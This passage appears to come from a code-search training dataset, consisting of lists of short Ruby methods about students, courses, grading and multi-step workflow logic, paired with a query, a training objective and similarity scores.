"def best_students(students)\n #creacion de un array vacio donde entraran los best_students\n best_students = []\n #Creacion de variables x,y de tipo integer\n #que se inicializan en 0\n x, y = 0, 0\n #ciclo while que correra siempre que la variable y\n #sea menor a la longitud del parametro students\n while y < students.length\n #creacion de un array que sera igual a \"y\" y \"x\"\n current_student = students[y][x]\n #Condicion if para comparar el segundo valor(calificacion)\n # de cada array dentro del array\n if current_student[1] == 10\n #Empuja el primer argumento de cada array dentro del array\n #(nombres de los estudiantes) cuya calificacion sea \n #igual a 10\n best_students.push(current_student[0])\n #Termina if\n end\n if x == (students[y].length - 1)\n x = 0\n y += 1\n else\n x += 1\n #end if\n end\n #End While\n end\n #Regresa el array de best students \n #ya con los estudiantes que cumplieron la condicion\n best_students\nend",
"def how_many_students\n number = roster.length\n \"There are #{number} students in our class\"\nend",
"def class_count\n @_count ||= \"(#{classes.size}/#{vedeu_classes.size})\"\n end",
"def check_student_limit\n\t\t@classroom = Classroom.where(id: self.classroom_id).first\n\t\tif Student.where(classroom_id: self.classroom_id).count >= @classroom.studentlimit\n\t\t\tself.errors.add(:base, \"Oppss!!! classroom is full\")\n\t\tend\n\tend",
"def max_cycle_length\n scc_kosaraju.map{|scc| scc.size}.max\n end",
"def calculate_max_seqs\n file_summaries.map(&:seqs).max\n end",
"def courses\n course_list = []\n \n semesters.collect do |semester|\n course_list << semester.cis_courses\n end\n \n course_list << course_bin.cis_courses\n \n return course_list\n end",
"def top_students(grade_hash, number_of_students)\n outArray = []\n grade_hash.each do |name, scores|\n sum, n = 0, 0\n scores.each do |x|\n n += 1\n sum += x\n end\n outArray.push([sum/n, name])\n end\n final_answer = []\n outArray.sort.reverse[0...number_of_students].each do |grade,name|\n final_answer.push(name)\n end\n return final_answer\nend",
"def last_possible_exam_semester\n study_length * 2 - 2\n end",
"def groups\n @students.each_slice((@students.count / 2.0).round).to_a\n end",
"def courses\n bins.map(&:courses).flatten\n end",
"def count_teaching_profs\n accessed_content = read_csv(\"CSV/Conteudos_Acessados.csv\")\n\n prof_ensinaram = Hash.new\n\n accessed_content.each do |row|\n namespace = row['namespace']\n prof_ensinaram[namespace] ||= Hash.new\n prof = row['teacher_id']\n if row['type'] != 'EXERCISE' and row['type'] != '-' and is_valid_user(prof)\n content = row['title']\n prof_ensinaram[namespace][prof] ||= Hash.new\n prof_ensinaram[namespace][prof][content] ||= 0\n prof_ensinaram[namespace][prof][content] += row['users access'].to_i\n end\n end\n\n n_prof_ensinaram = Hash.new\n\n prof_ensinaram.each do |ns, profs|\n n_prof_ensinaram[ns] ||= 0\n profs.each do |prof, contents|\n n_accessed_contents = 0\n contents.each do |content, n_access|\n n_accessed_contents += 1 if n_access >= $min_access_in_content\n end\n n_prof_ensinaram[ns] += 1 if n_accessed_contents >= $min_accessed_contents\n end\n end\n n_prof_ensinaram\nend",
"def longest_improvement(grades)\n runs = []\n prev = 0\n run = 1\n grades.each do |g|\n if g >= prev then\n run +=1\n else\n runs << run\n run = 1\n end\n prev = g\n end\n\n puts runs.max\nend",
"def courses\n Course.all.select { |course_inst| course_inst.student == self }\n end",
"def social_students\n students = @students.keys\n Array.new(@matrix.size) do |i|\n @matrix[i].one?(0) ? students[i] : nil\n end.compact\n end",
"def max_uses\n @attributes[:max_uses]\n end",
"def cantidad_casas_hoteles\n aux = 0\n \n @propiedades.each do |i|\n aux += i.cantidad_casas_hoteles\n end\n \n return aux\n end",
"def section_courses\n all_sections = sections.to_a.concat(sections_as_student).uniq\n\n # In the future we may want to make it so that if assigned a script, but that\n # script has a default course, it shows up as a course here\n all_sections.map(&:course).compact.uniq\n end",
"def get_max_system_token_count\n max = []\n get_pool_names.each do |pool_name|\n\tmax.push( self.pools[pool_name].max_counted_token[0] )\n end\n max = max.sort {|a,b| b[1] <=> a[1]}\n #puts max.inspect\n return max[0] \n end",
"def max\n @max ||= map {|a| a[0].length}.max\n end",
"def score\n regions.map(&:score).max\n end",
"def total_registered_subject_count\n # CourseTeachingAssignment.find(:all, :conditions => {\n # :user_id => self.id,\n # :is_active => true \n # }).count\n \n \n all_subjects_registered_id_list = all_subjects_registered.map{|x| x.id }\n SubjectRegistration.where(:is_active => true, :user_id => self.id,\n :subject_id =>all_subjects_registered_id_list ).count\n \n \n # all_courses_taught_id_list = all_courses_taught.map{|x| x.id }\n # CourseTeachingAssignment.where(:is_active => true, :user_id => self.id,\n # :course_id =>all_courses_taught_id_list ).count\n end",
"def get_num_courses_for_department(valid_department)\r\n valid_department.courses.count\r\n end",
"def classrooms_summary\n\n\t\tif(!@current_teacher_user.nil?)\n\t\t\t@classrooms = @current_teacher_user.classrooms\n\n\t\t\ta = Array.new\n\t\t\[email protected] do |classroom|\n\t\t\t\ta.push({id: classroom.id, name: classroom.name, student_count: classroom.student_users.length, percent_proficient: (classroom.percent_proficient_activities*100).to_i})\n\t\t\tend\n\n\t\t\tactivities = @current_teacher_user.activities\n\n\t\t\tstudent_count = ClassroomStudentUser.where(classroom_id: @classrooms.pluck(:id)).count\n\n\t\t\trender json: {status: \"success\", classrooms: a, activities: activities, student_count: student_count}\n\t\telse\n\t\t\trender json: {status: \"error\", message: \"user-not-logged-in\"}\n\n\t\tend\n\t\t\n\tend",
"def num_questions\n n = 0\n sections.each do |s|\n n += s.questions.size\n end\n n\n end",
"def total(list)\n\ttotal_students = 0\n\tlist.map do |cohorts, size|\n\t\ttotal_students += size\n\tend\n\treturn total_students\nend",
"def get_test_courses\n return [get_courses_in_page('https://www.sis.hawaii.edu/uhdad/avail.classes?i=MAN&t=201430&s=ICS'),\n get_courses_in_page('https://www.sis.hawaii.edu/uhdad/avail.classes?i=MAN&t=201430&s=MATH'),\n get_courses_in_page('https://www.sis.hawaii.edu/uhdad/avail.classes?i=MAN&t=201430&s=PSY')]\n end",
"def groups\n @students.sort_by(&:fullname).each_slice((@students.count / 2.0).round).to_a\n end",
"def recent_logged_in_student_count(x)\n if self.students.present?\n self.students.select { |s| s.current_sign_in_at > x.hours.ago.to_i if s.current_sign_in_at.present?}.size\n else\n 0\n end\n end",
"def count_students\n #code here\n @students.count\nend",
"def grade_for_course(course)\n course_students.find_by(course_id: course).grade\n end",
"def get_maximum_score()\n max_score = 0\n\n self.scores.each { |score| max_score = max_score + score.question.questionnaire.max_question_score }\n\n max_score\n end",
"def get_num_departments_for_course(valid_course)\r\n count = valid_course.departments.count\r\n \"#{count} #{'Department'.pluralize(count)}\"\r\n end",
"def num_questions\n n = 0\n self.sections.each do |s|\n n+= s.questions.size()\n end\n return n\n end",
"def number_of_groups(list_of_students)\n\tif list_of_students.length % 5 == 0\n\t\tnumber_of_groups = (list_of_students.length / 5) \n\telse\n\t\tnumber_of_groups = (list_of_students.length / 5) + 1\n\tend\nend",
"def total_cat_count\n @training_count\n end",
"def total_cat_count\n @training_count\n end",
"def lcount(arr)\n (1...arr.length).reduce(1) { |c, i| arr[i] > arr[0...i].max ? c + 1 : c }\nend",
"def run(arr)\n self.diagonals(arr)\n self.verticals(arr)\n self.horizontals(arr)\n puts \"Overall max is\"\n p @@maximums.max\n end",
"def grade\n if @data.attribute_names.include?(:cmustudentclass)\n @grade ||= @data[:cmustudentclass].last\n else\n @grade ||= nil\n end\n end",
"def subjects_count\n subject_count = 0\n self.slots.each do |slot|\n subject_count += slot.subjects.count unless slot.cancelled?\n end\n return subject_count\n end",
"def max\n maxes = []\n\n maxes << @in.max unless @in.empty?\n maxes << @out.max unless @out.empty?\n\n maxes.max\n end",
"def class_teacher_for_clazz_ids(id_no)\n faculty = Faculty.find_by_id_no(id_no)\n \tfaculty.sections.map {|sec| sec.clazz.id } || [] \t\n end",
"def get_enrolmentcount(course_id)\n query = \"select count(*) as count\n from epms_lms_course_enrolment\n where course_id=#{course_id};\"\n return @db[query].first[:count]\n end",
"def last_possible_defense_semester\n study_length * 2\n end",
"def effective_num_days\n [sessions.count, time_constraint(:max_days)].compact.min\n end",
"def how_many_most_often(n)\n a = count_most_often(n)\n lrj = a.join(',')\n c = 0\n [self.n1, self.n2, self.n3, self.n4, self.n5].each do |n|\n c += 1 if a.include?(n)\n end\n return [c, a.size]\n end",
"def how_many\n return @@total_samurais\n end",
"def returned_sheets\n return 0 if course.profs.empty? || form.get_tutor_question.nil?\n tutor_db_column = form.get_tutor_question.db_column.to_sym\n RT.count(form.db_table, {:barcode => course.barcodes, \\\n tutor_db_column => tutnum})\n end",
"def get_max\n @max\n end",
"def course_sections\n ['1', '2']\n end",
"def students\n @courses = Course.where(\"teacher_id=?\",session[:user].teacher_id)\n student_ids = Array.new\n @courses.each{ |c|\n student_ids.push(c.courseStudents)\n }\n student_ids.each{ |array|\n array.each{ |student|\n @students.push(student)\n }\n }\n @students.uniq!\n end",
"def full_count\n @clazz.count\n end",
"def max_identities(max)\n @max_identities = max.to_i\n self\n end",
"def most_common_number(arr)\n max = 0\n arr.each do |el|\n max = el if arr.count(el) > max\n end\n max\nend",
"def count_electoral_college\n @swing_states.each do |row|\n @swing_votes += @polls[row[0]][0]\n end\n @clinton_states.each do |row|\n @clinton_votes += @polls[row[0]][0]\n end\n @trump_states.each do |row|\n @trump_votes += @polls[row[0]][0]\n end\n end",
"def nSavMax()\n sum = 0 ;\n @corpList.each{|corp|\n sum += corp.nSavMax ;\n }\n return sum ;\n end",
"def max(array)\n\tn = 0\n\tarray.each do |x|\n\t\tif x > n\n\t\t\t n = x\n\t\tend\n\tend\n\t puts n\nend",
"def count_compositions(n_max, k_max, i_min = 0, i_max = nil)\n ns = (1..n_max).to_a\n ks = (2..k_max).to_a\n table = ns.map do |n|\n power_of_2?(n) && 2**i_min <= n && (i_max.nil? || n <= 2**i_max) ? [1] : [0]\n end\n ks.each do |k|\n ns.each do |n|\n next if k > n\n i_max_n = i_max || Math.log2(n).floor.to_i\n table[n - 1][k - 1] = (i_min..i_max_n).map do |i|\n n_prev = n - 2**i\n k_prev = k - 1\n k_prev > n_prev ? 0 : table[n_prev - 1][k_prev - 1]\n end.sum\n end\n end\n table\nend",
"def class_sizes(ids, value_table, classes)\n classes.map{|c| ids.count{|i| value_table[i] == c}}\n end",
"def get_max_past_teammates(participant)\n past_team_associations = TeamsUser.find_all_by_user_id(participant.user_id)\n past_team_associations -= TeamsUser.find_all_by_team_id(id)\n past_team_ids = past_team_associations.map{|association| association.team_id}\n past_teams = past_team_ids.map{|team_id| Team.find_by_id(team_id)}\n past_assignments = past_teams.map{|team| Assignment.find_by_id(team.parent_id)}\n past_assignments.delete_if {|assignment| assignment.course_id != Assignment.find_by_id(parent_id).course_id}\n return past_assignments.inject(0) {|sum, assignment| sum += assignment.team_count - 1}\n end",
"def remaining_slots\n @count = 0\n self.booked_customers.each do |booked_customer|\n @count += booked_customer.number_students.to_i\n end\n return self.cap - @count\n\n end",
"def max\n\t\t\t@count*@sides\n\t\tend",
"def display(students)\n students.each {|cohort, number_of_students| puts \"#{cohort}: #{number_of_students} students\"}\n end"
] | [
"0.6461427",
"0.6382975",
"0.6140354",
"0.59984523",
"0.59177566",
"0.59177566",
"0.59030765",
"0.58153164",
"0.5814784",
"0.57280606",
"0.56930727",
"0.5684635",
"0.5638393",
"0.5582642",
"0.55610883",
"0.55566406",
"0.55316156",
"0.55268115",
"0.55179995",
"0.54999554",
"0.5483156",
"0.5479953",
"0.5455065",
"0.54510367",
"0.54142636",
"0.54109323",
"0.5364753",
"0.5359149",
"0.5321879",
"0.5303266",
"0.5276579",
"0.5268013",
"0.5260429",
"0.52602327",
"0.5258231",
"0.5237378",
"0.5234562",
"0.523374",
"0.5225854",
"0.5214576",
"0.5201681",
"0.5199577",
"0.51771677",
"0.5167921",
"0.51674587",
"0.5165511",
"0.51652986",
"0.51519245",
"0.5124326",
"0.5110814",
"0.51104915",
"0.510289",
"0.5102163",
"0.50937045",
"0.50917596",
"0.5069417",
"0.5059208",
"0.5055242",
"0.5050681",
"0.5034145",
"0.5032143",
"0.5026891",
"0.50249463",
"0.50234187",
"0.5023045",
"0.5011195",
"0.50090206",
"0.50069124",
"0.50055474",
"0.50011134",
"0.4997328",
"0.4993466",
"0.4993466",
"0.49883065",
"0.49780673",
"0.4977706",
"0.4970221",
"0.4968831",
"0.49530965",
"0.49508426",
"0.49457204",
"0.4941331",
"0.49375066",
"0.49372384",
"0.49363443",
"0.493582",
"0.4933363",
"0.49294755",
"0.49162596",
"0.49139532",
"0.49071664",
"0.49030977",
"0.49028116",
"0.4899255",
"0.48983428",
"0.48982784",
"0.48966977",
"0.48963612",
"0.4892519",
"0.4888876"
] | 0.72358114 | 0 |
get next step and do error check | def get_next_coords_with_check(rv_inst)
x, y = next_step(rv_inst)
return false unless within_boundary?(x, y)
[x, y]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def next_step\n self.step_flow.next_step if can_increment_step\n end",
"def next_step\n if goto_true.present?\n fs = FlowStep.job_flow_step(job_id: job_id, flow_step: goto_true)\n if fs.entered?\n job.quarantine!(msg: \"Broken flow, step already entered #{fs.step}, called from #{self.step}\")\n return nil\n else\n return fs\n end\n end\n nil\n end",
"def step_result; end",
"def advance\n\tlcs = (last_completed_step.is_a? Array) ? last_completed_step.first : last_completed_step\n\n\tif (lcs.blank? or not HYDRANT_STEPS.exists?(lcs))\n\t Rails.logger.warn \"<< Step #{lcs} invalid, defaulting to first step >>\"\n\t self.last_completed_step = HYDRANT_STEPS.first.step\n\telsif (not HYDRANT_STEPS.last?(lcs))\n\t next_step = HYDRANT_STEPS.next(lcs).step\n\t Rails.logger.debug \"<< Advancing to the next step - #{next_step} >>\"\n self.last_completed_step = next_step \n end\n end",
"def next\n @stmt.step\n end",
"def next_step\n if !self.steps.where(state: 'reproved').exists?\n self.steps.order(:order).find_by(state: 'waiting')\n end\n end",
"def step\n @next_step = @next_step.call\n return self\n end",
"def nextStep()\n\n @simulationLog = @simulationLog + \"Entering XpdlObject.nextStep() ... \\n\"\n\n # Set of transitions found for this transition (If found more than 1,\n # then need to check the dataField var in MockData File)\n transFound = [] \n\n # Find the Transitions tag\n transitions = @dom.find('//xpdl:Transition')\n transitions.each do |transition|\n if (transition.attributes['From'] == @currActID)\n #@currActID = transition.attributes['To']\n transFound.push(transition)\n end\n end\n \n\n # Check Size of transFound[]\n if transFound.length > 0\n otherwiseTrans = nil \n conditionTrans = []\n normalTrans = nil # a transition without any <Condition tag\n\n # Parse through all transition objects, if one of them has an 'OTHERWISE' \n # condition, then set it to 'otherwiseTrans' var, and pop it out of array\n transFound.each do |transition|\n conds = transition.find(\".//xpdl:Condition\")\n if conds.length != 0 # if a condition tag is found\n if conds[0].attributes['Type'] == \"OTHERWISE\"\n otherwiseTrans = transition\n elsif conds[0].attributes['Type'] == \"CONDITION\"\n puts \"found a condition...\"\n conditionTrans.push(transition)\n end\n else # No Condition for this transition (a normal transition)\n # Perform transition\n #performTrans(transition)\n normalTrans = transition\n end\n end # transFound.each\n\n # Perform transition now (parse through conditionTrans[], then do otherwiseTrans if necessary)\n\n if normalTrans != nil # if this is just a normal transition\n performTrans(normalTrans)\n else # if this transition has conditions\n transPerformed = 0 # Flag to determine if transition has been performed or not\n conditionTrans.each do |con|\n if evalCondition(con)\n performTrans(con) \n transPerformed = 1\n break\n else\n if @power == \"OFF\"\n return \"ERROR\"\n end\n end\n end\n # Now check to see if a valid condition was found or not\n if transPerformed == 0 and otherwiseTrans != nil\n performTrans(otherwiseTrans)\n @simulationLog = @simulationLog + \"NO CONDITION MATCHED: \" + \"Transitioning to 'OTHERWISE' Transition\\n\"\n elsif transPerformed == 0 and otherwiseTrans == nil\n @simulationLog = @simulationLog + \"FATAL ERROR: Unable to find a valid Condition for transition for Activity ID: \" + @currActID + \"\\n\"\n puts \"FATAL ERROR: Unable to find a valid Condition for transition for Activity ID: \" + @currActID + \"\\n\"\n self.terminate() \n return \"ERROR\"\n end\n end # normalTrans != nil\n\n else # transFound.length > 0\n @simulationLog = @simulationLog + \"FATAL ERROR: Unable to find a transition for Activity ID: \" + @currActID + \"\\n\"\n puts \"FATAL ERROR: Unable to find a transition for Activity ID: \" + @currActID + \"\\n\"\n self.terminate() \n return \"ERROR\"\n end \n\n\n \n\n\n #############################################\n \n \n @simulationLog = @simulationLog + \"Successfully Moved to the Next Step... \\n\"\n @simulationLog = @simulationLog + \"@currActID is: \" + @currActID + \"\\n\"\n\n if self.isLastActivity(@currActID)\n @simulationLog = @simulationLog + \"This is the Last Activity, The Simulation is Now Over :( ... POWERING OFF ... GoodBye ^_^ \\n\"\n # Update @mockDataHash and @resultJSON\n update_resultJSON(@currActID)\n update_mockDataHash(@currActID)\n self.terminate()\n return \"ERROR\"\n end\n\n # Update @mockDataHash and @resultJSON\n update_resultJSON(@currActID)\n update_mockDataHash(@currActID)\n\n # Return the Current Active ID: @currActID\n return @currActID\n\n end",
"def next_failed_check\n self.failed_checks.first\n end",
"def next_test\n\n tests = @expert.tests\n item = @organizer.select_test( tests )\n procedure = @expert.procedure( item, nil )\n\n count = 1\n while !procedure.is_complete?\n @organizer.populate_parameters!( procedure )\n procedure = @expert.procedure( item, procedure )\n\n if procedure.has_failed?\n #puts 'Procedure FAILED!!! (Unknown Organizer/Expert failure)'\n #procedure.show\n break\n end\n\n count += 1\n if @options['MAX-STEPS'].to_i < count\n procedure.failed\n #puts 'Procedure FAILED!!! (Max Steps Exceeded)'\n break\n end\n end\n\n return procedure\n end",
"def move_next\n \n # before validation, clear validation residues\n self.clear_associated_errors\n \n Logger.new(STDOUT).info(\"Step: \" + self.step.to_s)\n Logger.new(STDOUT).info(\"Sortie object before validation: \" + self.sortie.inspect)\n if self.valid?\n \n # init some new defaults in here\n case self.step\n when 0, 1\n \n case self.step\n when 0\n \n case self.operation\n when 'join'\n # create sortie result object on selected geo\n\n # respond ajax/json for map refresh\n\n #@sorties = Sortie.find_sorties_for_user(current_user)\n @sorties ||= []\n \n when 'create'\n\n # not much to do\n #@user = session[:user]\n self.sortie ||= Sortie.new( :time => self.timerange.start )\n Logger.new(STDOUT).info(self.sortie.inspect)\n\n end\n \n when 1\n \n # switch to full validation for user, TODO: revert, refactor for existing usser...\n self.host.completeness = 'complete' if self.host.completeness == 'discovery'\n \n # profile/review step\n # profile: # set up dob year based on age\n\n # actually need to be refactored: it's a submit...\n case self.operation\n when 'join'\n #session[:selected_dates] = params[:dates]\n\n\n when 'create'\n\n end\n \n end\n \n # common for step 0 and 1\n self.step += 1\n 'next'\n when 2\n # finish...\n self.save_associated\n # do save etc. call separate action?\n self.complete = {'create' => 'created', 'join' => 'joined'}[self.operation]\n 'complete'\n end\n else\n Logger.new(STDOUT).info(\"Stepflow Validation Errors: \" + self.errors.full_messages.inspect)\n 'error'\n end\n end",
"def after_test_step(step,result)\n unless result.passed?\n # only the first non-passed step\n failed_step[:step] ||= step\n failed_step[:result] ||= result\n end\n end",
"def make_step\n @result\n end",
"def calculate_next_step\n flbt_type = @lbtt_return.flbt_type\n\n next_steps = if flbt_type == 'CONVEY'\n CONVEYANCE_STEPS\n elsif flbt_type == 'LEASERET'\n LEASE_STEPS\n elsif %w[LEASEREV ASSIGN TERMINATE].include? flbt_type\n LEASE_REV_ASSIGN_TERMINATE_STEPS\n end\n\n raise Error::AppError.new('Return type', \"Invalid return type for calc #{flbt_type}\") if next_steps.nil?\n\n next_steps\n end",
"def failed?; failed_to_start? || (@success == false) end",
"def step\n log_iteration_start\n\n\n @current_task = tasks_list.shift\n status.no_tasks! and return unless current_task #empty tasks list\n\n solve_current_task\n\n return unless current_basis_plan # no optimal plan, so we don't change record and continue\n\n if current_target_function <= record # not interested as previsous record is higher\n status.target_less_than_record!\n elsif task.satisfies_integer?(current_basis_plan)\n change_record\n else\n split_current_task\n end\n log_status\n end",
"def next_exercise_minimal_path_not_done\n i = 0\n while(i < self.user_sequence.size() && self.user_sequence[i][2]) do\n i = i + STEP_SIZE\n end\n if i < self.user_sequence.size()\n return self.user_sequence[i][0]\n elsif self.user_sequence.last[2] # last exercise is done\n return nil\n else\n return self.user_sequence.last[0]\n end \n end",
"def can_increment_step\n !step_flow.next_step.nil?\n end",
"def has_next?; end",
"def validate_step\n\n r = fetch_eth_ost_balance(true)\n return r unless r.success?\n\n r = super\n return r unless r.success?\n\n if is_client_step_one_complete? && is_client_step_two_complete?\n\n success\n\n elsif is_client_step_one_complete?\n error_with_go_to(\n 'e_tss_sth_1',\n 'token_setup_not_complete',\n GlobalConstant::GoTo.economy_planner_step_two\n )\n else\n error_with_go_to(\n 'e_tss_sth_2',\n 'token_setup_not_complete',\n GlobalConstant::GoTo.economy_planner_step_one\n )\n end\n\n end",
"def step?(step)\n @current_step.nil? || current_step + 1 == step\n end",
"def next_incomplete_step\n FORM_STEPS_TO_DB_ATTRS.each do |step, db_attr|\n return step unless self.send(\"completed_step_#{db_attr}\".to_sym)\n end\n\n return nil\n end",
"def next_preprocessing(save = false)\n first = first_preprocessing(save) or return nil\n @@PREPROCESSING_TASKS[@@PREPROCESSING_TASKS.index(first)..-1].find do |t|\n if ignore_task? t\n false\n elsif add_result(t, save).nil?\n if (metadata[\"_try_#{t}\"] || 0) > (project.metadata[:max_try] || 10)\n inactivate! \"Too many errors in step #{t}\"\n false\n else\n true\n end\n end\n end\n end",
"def run\n until halted?\n step\n end\n end",
"def short_assessment_next_step(arg_next_step)\n self.current_step = arg_next_step\n end",
"def each_step_error(&blk)\n return enum_for(:each_step_error) if blk.nil?\n @errors.each_step_with_path(&blk)\n self\n end",
"def continue_on_error\n @continue_on_error = true\n end",
"def next() end",
"def next() end",
"def continue?; end",
"def next_step_number\n progress = current_progress\n progress ? current_progress.step.number + 1 : 0\n end",
"def step_taken\n\t\t@step = !@step\n\tend",
"def continue\n @proceed = true\n end",
"def next\n raise NotImplemetedError\n end",
"def step_from_event\n @step = resource.try(:event).try(:to_sym)\n \n if @step && (!self.respond_to?(:current_step_is_next_step_after_event) || current_step_is_next_step_after_event) \n @step = next_step(@step)\n end\n end",
"def step msg\n end",
"def next_step\n @anime.next_step!\n redirect_to :back\n end",
"def advance_step\n @step += 1\n @scheduling.step\n end",
"def process_next_input\n next_input = @input.read_next_input\n\n if next_input == :exit_command\n return :exit_command\n end\n\n validation = @validator.validate(next_input)\n unless validation.response == :valid_input\n @output.output_error(validation.response)\n return\n end\n\n if input_complete?(next_input)\n process_new_answer(InputParser.new(next_input).input)\n else\n if @last_answer\n input = InputParser.new(next_input).input\n process_new_answer(ParsedInput.new(input.numbers.push(@last_answer), input.operator))\n else\n @output.output_error(\"#{next_input} is not a complete calculation!\")\n end\n end\n end",
"def send_to_correct_step\n if Member::States.include? step\n original_state = @member.state\n set_state previous_step\n if [email protected]?\n member_step = wizard_steps.index(original_state) || 0\n jump_to wizard_steps[member_step.next]\n end\n end\n end",
"def redirect_invalid_step\n if invalid_steps.include? step\n redirect_to wizard_path(wizard_steps[0])\n end\n end",
"def revisit_next_step?\n false\n end",
"def step\n move_if_needed; return self\n end",
"def next_step\n\t\t# choose the next step based on the lowest absolute delta\n\t\tnext_step = [ delta_right_top, delta_right_mid, delta_right_bot ].min_by { |i| i[1].abs }\n\n\t\t# increase tot_elavation with the delta between current and next step\n\t\t@tot_elavation += next_step[1].abs\n\n\t\treturn next_step[0]\n\tend",
"def next_step(resource, mikyung)\n conditions.each do |c|\n if c.should_run_for(resource, self)\n return c.execute(resource, self, mikyung)\n end\n end\n nil\n end",
"def step1\n\n end",
"def next()\n \n end",
"def next()\n \n end",
"def halt\n StepResult.new(false)\n end",
"def process_steps\n result = nil\n steps.map(&:to_s).each do |step_name|\n result = process_step(step_name)\n return result if @success == false || stop == true\n end\n result\n end",
"def next\n catch :done do\n while !(info = progress)\n # do nothing - waiting for token\n end\n return info # got token\n end\n return nil # got end of sequence\n end",
"def next_result()\n #This is a stub, used for indexing\n end",
"def next\n @next\n end",
"def next\n end",
"def next\n end",
"def calculate_next_step\n if @lbtt_return.relief_claims.present?\n returns_lbtt_reliefs_calculation_path\n else\n returns_lbtt_summary_path\n end\n end",
"def nextstep\n puts \"Input 't' to try again or 'q' to end program: \"\n try = gets.chomp\n\n if try == \"t\" \n run\n elsif try == \"q\"\n exit\n else\n puts \"Invalid response.\"\n nextstep\n end\nend",
"def next\n puts 'Clicked next'\n go_to_next_diff_or_build_page\n # Navigate to the next diff that needs approval\n end",
"def next?\n not_finished?\n end",
"def set_next_step\n @next_step = NextStep.find(params[:id])\n end",
"def next!() end",
"def step_errors\n @step_errors ||= []\n end",
"def process_error(exp)\n return exp.shift\n end",
"def next_step(simbol)\n return if @status == -1 || @status == 1\n return if @good_letters.include?(simbol) || @bad_letters.include?(simbol)\n if @letters.include?(simbol)\n @good_letters << simbol\n @status = 1 if @good_letters.size == @letters.uniq.size\n else\n @bad_letters << simbol\n @errors += 1\n @status = -1 if @errors >= 7\n end\n end",
"def step1\n \n end",
"def step_fails(response, failure)\n @step_failed = true\n flow = @flow_steps.keys.last\n step_no = @flow_steps[flow].size\n step_key = @flow_steps[flow].last\n failure = %{deploy faild on #{flow}(#{step_no}):#{step_key}\\n} + failure\n response.reply(failure)\n end",
"def failed_step(step_handler, **params, &block)\n failed_steps << init_step(step_handler, params, &block)\n end",
"def current_step \n @current_step || steps.first\n end",
"def create\n @user = User.new(params[:user])\n\n if @user.valid?\n if params[:next_step] == 'end'\n @user.save\n redirect_to :action => 'index'\n else\n @user.step = params[:next_step]\n render :action => 'new'\n end\n else\n render :action => 'new'\n end\n end",
"def get_next_build_step\n @build_step += 1\n end",
"def finish_step?\n return !goto_true && !goto_false\n end",
"def execute(step)\n end",
"def next\n lesson.steps.where(\"id > ?\", id).first\n end",
"def failed?; state == 'failed'; end",
"def failed?; state == 'failed'; end",
"def step(steps = 1)\n @running = true\n \n unless @started\n do_setup\n @started = true\n end\n \n step_discrete\n steps.to_i.times do\n break if clock > clock_finish\n self.step_count += 1\n step_continuous\n step_discrete\n @running = false\n yield self if block_given?\n @running = true\n end\n \n self\n \n ensure\n @running = false\n ## how to continue stepping after an exception?\n end",
"def checkSteps(numSteps, direction)\n\t\tgoodToGo = true\n\t\tif (@indexOfExecution + numSteps) > doCommandList.length && direction\n\t\t\tputs \"-There was an error stepping forward\"\n\t\t\tgoodToGo = false\n\t\telsif (@indexOfExecution - numSteps) < 0 && !direction\n\t\t\tputs \"-There was an error stepping backward\"\n\t\t\tgoodToGo = false\n\t\tend\n\t\t\n\t\treturn goodToGo\n\tend",
"def continue; end",
"def continue; end",
"def step_validation\n step_index = form_steps[:pages].index(form_step)\n\n if self.form_steps[:pages].index('title') <= step_index\n self.errors['name'] << 'You must enter a name for the dataset' if self.name.blank? || self.name.strip.blank?\n end\n\n if self.form_steps[:pages].index('connector') <= step_index\n self.errors['type'] << 'You must enter a connector type' unless CONNECTOR_TYPES.include? self.type\n self.errors['provider'] << 'You must enter a connector provider' unless CONNECTOR_PROVIDERS.include? self.provider\n self.errors['connector_url'] << 'You must enter a valid url' \\\n unless self.connector_url && !self.connector_url.blank? && valid_url?(self.connector_url)\n end\n\n if self.form_steps[:pages].index('labels') <= step_index\n unless self.legend && self.legend.is_a?(Hash)\n self.errors['legend'] << 'Labels not correctly defined'\n return\n end\n self.errors['legend'] << 'Latitude and Longitude have to be filled together' if\n self.legend[:lat].blank? ^ self.legend[:long].blank?\n self.errors['legend'] << 'Country and Region have to be filled together' if\n self.legend[:country].blank? ^ self.legend[:region].blank?\n end\n end",
"def step!(next_state)\n @state = case @state\n when :a\n next_state == :b ? :b : :a\n when :b\n [:a, :c].include?(next_state) ? next_state : :b\n when :c\n :d\n else\n :a\n end\n end",
"def test_get_next\r\n refute_nil @driver.next_location\r\n end",
"def how_many_steps?\n steps=0\n loop do\n steps += 1\n puts \"Add another step\"\n break\nend\nend",
"def _new_step(e, mstat)\n step = @record.add_step(e, @depth)\n res = ___step_trial(step, mstat)\n step.cmt\n res\n rescue CommError, Interlock, Interrupt, InvalidARGS\n mstat.result = __set_err(step)\n raise\n end",
"def get_next_wizard\n # Return nil if there is no next wizard\n if params[:next] && session[:current_wizard_id] && session[:current_wizard_id] == User::Wizard.data.length\n return nil\n # Return the next wizard if it's not completed, else, it increments\n elsif params[:next] && session[:current_wizard_id] && session[:current_wizard_id] < User::Wizard.data.length\n session[:current_wizard_id] += 1\n wizard = User::Wizard.find(session[:current_wizard_id])\n if wizard.completed?.call(current_user)\n return get_next_wizard\n else\n return wizard\n end\n else\n User::Wizard.all.each do |wizard|\n unless wizard.completed?.call(@user)\n session[:current_wizard_id] = wizard.id\n return wizard\n end\n end\n return nil\n end\n end",
"def has_next()\n \n end",
"def has_next()\n \n end",
"def do_next\n update_screen(get_step_content(@step + 1, @editor.value, @output.value))\n end",
"def user_next_step\n if (@user = User.find_by_id(params[:id]))\n \n if (UserNextStep.exist_step?(params[:step])) and (user_next_step = UserNextStep.find_or_create_by(:user_id => @user.id)) and (!user_next_step[params[:step].to_sym])\n # Petición POST?\n if request.post?\n \n user_next_step.update_attributes(:dashboard_help => true)\n respond_to do |format|\n format.html { render :nothing => true }\n format.js { render :nothing => true }\n end\n\n else\n @step = params[:step]\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.js { render :template => 'users/user_next_step/next_step' }\n end\n end\n else\n error404\n end\n else\n error404\n end\n end",
"def first_not_done_exercise\n i = 0\n while(i < self.user_sequence.size() && self.user_sequence[i][2]) do\n i = i + STEP_SIZE\n end\n if i < self.user_sequence.size()\n i = i - STEP_SIZE + 1\n while(self.user_sequence[i][2]) do\n i = i + 1\n end\n return self.user_sequence[i][0]\n elsif self.user_sequence.last[2] # last exercise is done\n return nil\n else\n i = i - STEP_SIZE + 1\n while(self.user_sequence[i][2]) do\n i = i + 1\n end\n return self.user_sequence[i][0]\n end\n end",
